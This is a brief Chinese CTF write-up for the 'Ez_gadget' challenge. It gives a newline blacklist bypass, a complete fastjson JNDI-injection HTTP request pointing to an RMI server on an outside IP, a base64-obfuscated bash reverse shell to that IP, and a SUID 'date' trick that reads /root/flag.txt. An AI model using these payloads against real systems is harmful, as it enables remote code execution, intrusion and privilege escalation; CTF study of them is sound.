蓝帽杯
取证杯(py不少)
Ez_gadget
黑名单绕过:https://www.cnblogs.com/fishou/p/4242648.html
直接用回车绕过即可。还有hash碰撞。直接拿工具:https://github.com/topolik/java-hashcode-collisions
然后就是经典的fastjson漏洞了。exp:
POST /json HTTP/1.1
Host: eci-2ze1r04agrrtufoeh3xo.cloudeci1.ichunqiu.com:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 138
Origin: http://eci-2ze1r04agrrtufoeh3xo.cloudeci1.ichunqiu.com:8888
Connection: close
Referer: http://eci-2ze1r04agrrtufoeh3xo.cloudeci1.ichunqiu.com:8888/
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1657330331; UM_distinctid=17f5969c7243fa-0ecdfcbbb01541-376a464a-1fa400-17f5969c725272; ci_session=d2e037a65e1402800aec385b24343b088f9e033c; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1657330331; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; __jsluid_h=af892e12c049d9f47fa4cab102cd455b
Upgrade-Insecure-Requests: 1
str=M0nK1vblVadSP1rz&input={"asd%0a":{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://47.96.173.116:8888/Object"}}
然后好像是高版本,直接拿工具高版本绕过(鹏城杯那个工具)
java -cp jndi_tool.jar jndi.EvilRMIServer 8888 1099 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}" el-win/el-linux/groovy
然后反弹shell,明显需要提权。然后date有suid权限。
date --help 255 ⨯
用法:date [选项]... [+格式]
或:date [-u|--utc|--universal] [MMDDhhmm[[CC]YY][.ss]]
以给定<格式>字符串的形式显示当前时间,或者设置系统日期。
必选参数对长短选项同时适用。
-d, --date=字符串 显示给定<字符串>描述的时间,而非“当前时间”
--debug 对解析的日期添加注释,
对不规范的使用方式进行警告,并输出警告信息到
标准错误
-f, --file=日期文件 类似 --date;使用给定<日期文件>,一次处理一行
-I[FMT], --iso-8601[=FMT] 以 ISO 8601 格式输出日期/时间。
直接
date -f /root/flag.txt